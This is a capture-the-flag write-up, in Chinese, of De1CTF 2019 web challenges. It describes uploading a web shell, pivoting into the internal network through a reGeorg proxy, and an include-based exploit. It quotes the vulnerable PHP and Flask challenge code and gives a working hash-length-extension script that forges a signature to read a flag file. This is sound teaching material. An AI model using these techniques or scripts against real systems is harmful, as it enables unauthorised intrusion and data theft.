DeltaCTF2019 WEB wp及其复现

DeltaCTF2019 WEB wp及其复现

八月 08, 2019

shellshellshell

源码泄露.xxx.swp
一开始还没意识到,后来发现跟Nu1LCTF 2018的easyphp一样,emmm,找到一键化利用脚本https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

1565234960035

admin,文件上传并提示flag在内网

上传一个小马上去,cat /etc/hosts

发现172.18.0.3 df459fa2cbad

上传reGeorg做内网代理,扫一下c段,发现172.18.0.2的80端口开放了服务

查看 代码审计 发现又是原题 emmmm

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

https://xz.aliyun.com/t/3150#toc-3 web3

然后传上马后 find / -name “*flag*“

SSRF ME

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

代码审计

超级明显的hash拓展长度攻击

# -*- coding: utf-8 -*-
import requests
import hashpumpy
import urllib.parse as change

url =  'http://192.168.239.142/geneSign?param=flag.txt'
req = requests.get(url = url)
sign = req.content
newhash = hashpumpy.hashpump(sign, 'flag.txt' + 'scan', 'read', 16)#hash拓展长度攻击
print("newhash------------------->\n"+ str(newhash))
hashsign = newhash[0]
hashplain = change.quote(newhash[1][len("flag.txt"):])
url = 'http://192.168.239.142/De1ta?param=flag.txt'
result = requests.get(url = url, cookies={'sign': hashsign, 'action': hashplain})
print(result.content)

1565236843915

后面的WEB题因为夏令营时间的原因没能怎么肝Orz先留个坑位 回头补

Giftbox

cloudmusic_rev

9calc

本文作者: Char0n
本文地址: http://charon.xin/2019/08/08/DeltaCTF2019-WEB/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!